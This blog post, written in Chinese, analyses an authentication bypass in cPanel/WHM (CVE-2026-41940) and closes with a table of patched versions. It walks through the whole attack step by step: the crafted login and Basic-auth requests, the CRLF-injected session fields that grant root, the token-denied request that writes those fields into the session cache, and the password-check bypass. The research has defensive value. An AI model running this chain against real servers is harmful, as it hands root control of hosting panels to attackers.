CVE-2026-41940 cPanel/WHM 认证绕过漏洞分析

2262 字
11 分钟
CVE-2026-41940 cPanel/WHM 认证绕过漏洞分析

来源:https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/

漏洞概述#

  • CVE 编号:CVE-2026-41940
  • 影响范围:所有当前支持的 cPanel & WHM 版本(影响超过 7000 万域名)
  • 漏洞类型:认证绕过(Authentication Bypass)
  • 在野利用:已知(多家主机商确认已在野使用作为零日)

背景#

cPanel & WHM 是全球最常用的主机管理面板:

  • WHM:管理员面板,root 级别权限,可管理 SSL、SSL 证书、安全协议等
  • cPanel:面向用户的控制面板,管理单个托管账户

WHM 是”王国的钥匙”,cPanel 是”每个公寓的钥匙”。如果王国是互联网,公寓是网站——那就意味着控制了这一切。


第一部分:cPanel Session 机制#

登录流程中的 Session 创建#

当用户尝试登录 WHM 时,无论密码是否正确,服务器都会:

  1. 创建一个预认证 Session,写入磁盘
  2. 返回一个 Set-Cookie:
Set-Cookie: whostmgrsession=%3aWg_mjzgt1hyfXefK%2c1bd3d4bf5ecbf83b660789ab0f3198fa

URL 解码后为::Wg_mjzgt1hyfXefK,1bd3d4bf5ecbf83b660789ab0f3198fa

Cookie 由两部分组成,用逗号分隔:

<session_name>,<ob>
  • <session_name>:实际 session 文件名(如 :Wg_mjzgt1hyfXefK
  • <ob>:32 位十六进制字符串,每会话一个的秘密密钥

Session 文件结构#

Session 文件存储在 /var/cpanel/sessions/raw/,格式为明文 key=value,每行用 \r\n 分隔

local_ip_address=172.17.0.2
external_validation_token=bOOwkwVzFsruooU0
cp_security_token=/cpsess7833455106
needs_auth=1
origin_as_string=address=172.17.0.1,app=whostmgrd,method=badpass
hulk_registered=0
tfa_verified=0
ip_address=172.17.0.1
login_theme=cpanel

预认证 session 包含:

  • cp_security_token:预发的访问令牌
  • source IP:用于 IP 锁定
  • tfa_verified:2FA 验证标志
  • 其他状态信息

用户最终成功登录后,同一个 session 文件会被”升级”,添加 user=...pass=... 字段。


第二部分:漏洞根因 — saveSession 的两个 Bug#

Bug 1:密码写盘时不过滤 CRLF#

在未打补丁的版本中,saveSession 函数对密码的处理如下:

my $ob = get_ob_part(\$session); # 从 cookie 提取 <ob> 部分
my $encoder = $ob && Cpanel::Session::Encoder->new('secret' => $ob);
if ($encoder && length $session_ref->{'pass'}) {
local $session_ref->{'pass'} = $encoder->encode_data($session_ref->{'pass'});
}

问题所在:只有当 $ob 存在时才会对密码进行编码。

如果攻击者故意让 cookie 中没有逗号后的 <ob> 部分(只发 :Wg_mjzgt1hyfXefK),则:

  • $ob 为空
  • $encoder 为空(falsy)
  • 密码直接以明文形式写入 session 文件,没有任何编码

Bug 2:set_pass 不过滤 \r\n#

处理 Basic 认证时,密码经过 set_pass 处理:

my ($user, $pass) = split(/:/, decode_base64($encoded), 2);
$user = $server_obj->auth->set_user($user); # 只过滤 \0 和 /
$pass = $server_obj->auth->set_pass($pass); # 只过滤 \0,没过滤 \r\n!
$SESSION_ref->{'pass'} = $pass;
Cpanel::Session::saveSession($session, $SESSION_ref);

set_pass 只过滤了 \0,没有过滤 \r\n

漏洞的化学反应#

cPanel session 文件格式是 key=value\r\n。当密码值中包含 \r\n 时:

正常 session 文件内容:

pass=正确密码
user=root
tfa_verified=0

注入 CRLF 后:

pass=x
hasroot=1
user=root
tfa_verified=1
cp_security_token=/cpsess9999999999
successful_internal_auth_with_timestamp=1777462149

解析器将把后续内容视为 6 行独立的 key=value 记录!hasroot=1user=roottfa_verified=1 全都成为 session 文件的顶层字段。


第三部分:完整攻击流程#

Step 1:Mint 预认证 Session#

发送一个错误的登录尝试,服务器创建 session 文件:

POST /login/?login_only=1 HTTP/1.1
Host: target:2087
user=root&pass=wrong

响应:

Set-Cookie: whostmgrsession=%3aWg_mjzgt1hyfXefK%2c4d257abc...

将 cookie 中的逗号和后面的 <ob> 部分删掉,只发送::Wg_mjzgt1hyfXefK(URL 编码为 %3aWg_mjzgt1hyfXefK)。

这样 get_ob_part 拿到的 $ob 为空,密码不会被编码。

然后在密码中构造 CRLF 注入 payload:

root:x
hasroot=1
tfa_verified=1
user=root
cp_security_token=/cpsess9999999999
successful_internal_auth_with_timestamp=1777462149

Base64 编码后发送:

GET / HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aWg_mjzgt1hyfXefK
Authorization: Basic cm9vdDp4DQpoYXNyb290PTENCnRmYV92ZXJpZmllZD0x...

Step 3:Session 文件被污染#

磁盘上的 session 文件变成:

tfa_verified=0$
ip_address=172.17.0.1$
user=root$
pass=x <-- \r\n 后注入内容开始
hasroot=1 <-- 注入的
tfa_verified=1 <-- 注入的
user=root <-- 注入的
cp_security_token=/cpsess9999999999 <-- 注入的
successful_internal_auth_with_timestamp=1777462149 <-- 注入的
...

六个新行作为独立记录写入 session 文件!

Step 4:服务器返回 307 重定向#

HTTP/1.1 307 Moved
Location: /cpsess0228251236/

服务器认为认证成功。

Step 5:访问版本信息验证是否成功绕过#

GET /cpsess0228251236/json-api/version HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_
Connection: close

返回

HTTP/1.1 403 Forbidden Access denied
Connection: close
Content-Type: text/plain; charset="utf-8"
{"cpanelresult":{"apiversion":"2","error":"Access denied","data":{"reason":"Access denied","result":"0"},"type":"text"}}

绕过失败了,为什么失败,因为解析器 LoadSession不是读取原始的 key=value 文件,而是读取 cache 目录下的 JSON 序列化文件

/var/cpanel/sessions/raw/:Wg_mjzgt1hyfXefK <-- 原始行式文件
/var/cpanel/sessions/cache/:Wg_mjzgt1hyfXefK <-- JSON 序列化缓存

loadSession 优先读取 cache(JSON 文件),只有 cache 加载失败时才回退到读取原始文件。JSON 文件没有被 CRLF 污染,所以注入的内容没生效。

sub loadSession {
my ($session) = @_;
...
my $session_file = get_session_file_path($session); # /var/cpanel/sessions/raw/<id>
my $session_cache = $Cpanel::Config::Session::SESSION_DIR . '/cache/' . $session;
my $session_ref;
# First try the binary cache. AdminBin::Serializer is JSON.
if ( $session_cache_fh = _open_if_exists_or_warn($session_cache) ) {
eval {
local $SIG{__DIE__};
$session_ref = Cpanel::AdminBin::Serializer::LoadFile($session_cache_fh);
$mtime = ( stat($session_cache_fh) )[9];
};
}
# Only fall through to the slow text parse if the cache load failed or returned nothing.
if ( !keys %$session_ref ) {
if ( $session_fh = _open_if_exists_or_warn($session_file) ) {
require Cpanel::Config::LoadConfig;
$session_ref = Cpanel::Config::LoadConfig::parse_from_filehandle(
$session_fh, delimiter => '='
);
}
}
...
}

所以在缓存里,加载器实际看到的是:

{
"tfa_verified":"0",
"ip_address":"172.17.0.1",
"user":"root",
"login_theme":"cpanel",
"port":"43586",
"origin_as_string":"address=172.17.0.1,app=whostmgrd,method=badpass",
"pass":"x\r\nhasroot=1\r\ntfa_verified=1\r\nuser=root\r\ncp_security_token=/cpsess9999999999\r\nsuccessful_internal_auth_with_timestamp=1777462149",
"hulk_registered":"0",
"local_port":"2087",
"cp_security_token":"/cpsess0228251236",
"external_validation_token":"ss27XQjbY11gmCDs",
"local_ip_address":"172.17.0.2"
}

加载到变量里面之后是这样:

$SESSION_ref = {
user => 'root',
pass => "x\r\nhasroot=1\r\ntfa_verified=1\r\n...",
cp_security_token => '/cpsess0228251236',
tfa_verified => '0',
# ...no hasroot, no successful_internal_auth_with_timestamp
}

第四部分:Cache 机制与绕过#

在 Step 5 的时候,我们看见有一个函数 parse_from_filehandle,算是一种在 cache 读取不到的时候的备用模式

if ( !keys %$session_ref ) {
if ( $session_fh = _open_if_exists_or_warn($session_file) ) {
require Cpanel::Config::LoadConfig;
$session_ref = Cpanel::Config::LoadConfig::parse_from_filehandle(
$session_fh, delimiter => '='
);
}
}

查找这个函数,发现有两处调用过这个函数:

grep -rn 'LoadConfig::loadConfig\|parse_from_filehandle' /usr/local/cpanel/Cpanel/Session*
/usr/local/cpanel/Cpanel/Session/Load.pm:69: parse_from_filehandle(...) # the loader, fallback path
/usr/local/cpanel/Cpanel/Session/Modify.pm:97: LoadConfig::loadConfig($session_file, ...,
{ 'nocache' => 1, ... });

跟进Modify.pm文件,发现有两个函数值得关注

这是一个绕过 cache,直接读 raw 的构造函数

sub new {
my ( $class, $session, $check_expiration ) = @_;
if ( $check_expiration ? !Cpanel::Session::Load::session_exists_and_is_current($session) : !Cpanel::Session::Load::session_exists($session) ) {
die "The session ^`^|$session ^`^} does not exist";
}
Cpanel::Session::Load::get_ob_part( \$session ); # strip ob_part
my $session_file = Cpanel::Session::Load::get_session_file_path($session);
# Cpanel::Transaction not available here due to memory constraints
my ( $ref, $fh, $conflock ) = Cpanel::Config::LoadConfig::loadConfig( // (1)
$session_file,
undef,
'=',
undef,
0,
0,
{ 'skip_readable_check' => 1, 'nocache' => 1, 'keep_locked_open' => 1, 'rw' => 1 } // (2)
);
return bless {
'_session' => $session,
'_fh' => $fh,
'_lock' => $conflock,
'_data' => Cpanel::Session::decode_origin($ref),
}, $class;
}

现在如果我们能触发任何预授权可达的代码路径,调用 Modify::new 并调用 Modify::save 在我们的会话中,注入就会作为顶层密钥提升到 JSON 缓存中。

在寻找 new friend 的时候,发现了一个函数,这个函数在 (1) 处调用了 Modify::new,在 (2) 处调用了 Modify::save,正是我们需要的

sub do_token_denied {
my ($error_msg, $form_ref, $goto_uri, $use_theme) = @_;
...
my $max_tries = 3;
if ($user_provided_session_ref = $server_obj->get_current_session_ref_if_exists) {
my $session = $server_obj->get_current_session;
if (not $server_obj->request->get_supplied_security_token
or ++$user_provided_session_ref->{'token_denied'} < $max_tries)
{
require Cpanel::Session::Modify;
my $session_mod = 'Cpanel::Session::Modify'->new($session); # (1)
$session_mod->set('token_denied',
defined $session_mod->get('token_denied')
? $session_mod->get('token_denied') + 1
: 1
);
$session_mod->save; # (2)
$another_try = 1;
}
}
...
}

解释一下,每当某些 URL 被请求时,会调用 check_security_token do_token_denied

实现方式如下——在(1)时检查提供的安全令牌,如果失败,在(2)时调用 do_token_denied

sub check_security_token {
...
if (not $server_obj->request->get_supplied_security_token) {
$failmsg = 'security token missing';
}
elsif ($ENV{'cp_security_token'} ne $server_obj->request->get_supplied_security_token) { // (1)
$failmsg = 'security token incorrect';
}
if ($failmsg) {
if ($is_login_url) {
$server_obj->badpass(...);
}
else {
failedlogin($failmsg, 1);
$server_obj->connection->set_is_last_request(1);
do_token_denied($failmsg); # (2)
}
...
}

如果你想知道什么是安全令牌——几乎所有发送给 cpsrvd 的 HTTP 请求在 URI 中都会有一个令牌前缀:

/cpsess1234567890/scripts2/listaccts

其中的 cpsess1234567890 就是安全令牌,所以当我们发送没有带安全令牌的请求的时候,就会强制触发 do_token_denied 函数

GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_
Connection: close

响应

HTTP/1.1 401 Token Denied
Cache-Control: no-cache, no-store, must-revalidate, private
Content-Type: text/html; charset="utf-8"

再看看缓存文件

{
"tfa_verified":"1", <-- was 0, now 1 injection won
"user":"root",
"hasroot":"1", <-- TOP-LEVEL now
"successful_internal_auth_with_timestamp":"1777462149", <-- TOP-LEVEL now
"cp_security_token":"/cpsess0228251236",
"external_validation_token":"ss27XQjbY11gmCDs",
"token_denied":"1",
"pass":"x", <-- stripped to just "x"
"ip_address":"172.17.0.1",
"local_ip_address":"172.17.0.2",
...
}

现在我们的 cache 已经绕过成功了,我们要成功绕过身份认证了吗?并没有

HTTP/1.1 403 Forbidden Access denied
{"cpanelresult":{"apiversion":"2","error":"Access denied","data":{"reason":"Access denied","result":"0"}}}

第五部分:/etc/shadow 绕过#

让我们看看 handle_one_connection,它紧接在 handle_auth 之后:

handle_form_login();
handle_auth();
my $authtype = $server_obj->auth->get_auth_type || '';
my $document = $server_obj->request->get_document;
$user = $server_obj->auth->get_user;
my $pass = $server_obj->auth->get_pass;
if ($Cpanel::App::appname eq 'whostmgrd') {
docheckpass_whostmgrd(
'user' => $user,
'pass' => $pass,
);
}

docheckpass_whostmgrd函数的意思是每次请求都要验证密码,密码存放在 /etc/shadow

默认情况下,它会在 /etc/shadow 上运行 Cpanel::CheckPass::UNIX::checkpassword($pass, $shadow_entry) against /etc/shadow 逻辑上我们伪造pass会与 root 的真实密码匹配不符,我们会被退回。

不过…我们观察下面的函数,这些函数表示如果设置了任一时间戳,密码验证会被跳过,密码验证 AUTH_OK 无条件返回(参见,这也是我们最初演示发送包含 successful_internal_auth_with_timestamp 的有效载荷的原因)。

sub docheckpass_whostmgrd {
my (%OPTS) = @_;
if ($successful_external_auth_with_timestamp or $successful_internal_auth_with_timestamp) {
$authorized = _check_external_internal_auth_from_docheckpass(%OPTS);
}
}
elsif (not $SESSION_ref->{'needs_auth'}) { # session-auth branch
if ($SESSION_ref->{'successful_internal_auth_with_timestamp'}) {
$successful_internal_auth_with_timestamp =
$SESSION_ref->{'successful_internal_auth_with_timestamp'};
}
}
sub check_authok_user {
my (%AUTHOPTS) = @_;
if ($AUTHOPTS{'authable_user'}{'successful_external_auth_with_timestamp'}
or $AUTHOPTS{'authable_user'}{'successful_internal_auth_with_timestamp'})
{
return $Cpanel::Server::AUTH_OK, 0; # <-- /etc/shadow never consulted
}
elsif (Cpanel::CheckPass::UNIX::checkpassword(
$AUTHOPTS{'password'},
$AUTHOPTS{'authable_user'}{'encrypted_pass'}))
{
}
}

然后就成功绕过了 /etc/shadow 的密码验证,访问 /json-api/version 会返回具体版本号


第六部分:漏洞总结#

项目内容
漏洞类型认证绕过(Authentication Bypass)
影响组件cPanel cpsrvd Session 处理
影响版本所有当前支持的 cPanel & WHM 版本
根因1. Basic 认证密码不过滤 \r\n
2. 无 <ob> 时密码不编码直接写盘
3. session 文件格式支持 CRLF 注入
攻击向量通过 Basic 认证头注入 CRLF,伪造 session 文件字段
影响未授权访问 WHM 管理面板

受影响版本与修复#

版本修复版本
11.110.0.x11.110.0.97
11.118.0.x11.118.0.63
11.126.0.x11.126.0.54
11.132.0.x11.132.0.29
11.134.0.x11.134.0.20
11.136.0.x11.136.0.5

建议:立即升级到上述修复版本或更高版本。

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

CVE-2026-41940 cPanel/WHM 认证绕过漏洞分析
https://blog.freeaes.com/posts/cve-2026-41940cpanelwhm-ren-zheng-rao-guo-lou-dong-fen-xi/
作者
Nevolar
发布于
2026-08-22
许可协议
CC BY-NC-SA 4.0

评论区

Profile Image of the Author
Nevolar
一个平平无奇的网络安全爱好者
月夜之下,唯有你我
分类
标签
最新动态
站点统计
文章
9
分类
7
标签
9
总字数
13,261
运行时长
0
最后活动
0 天前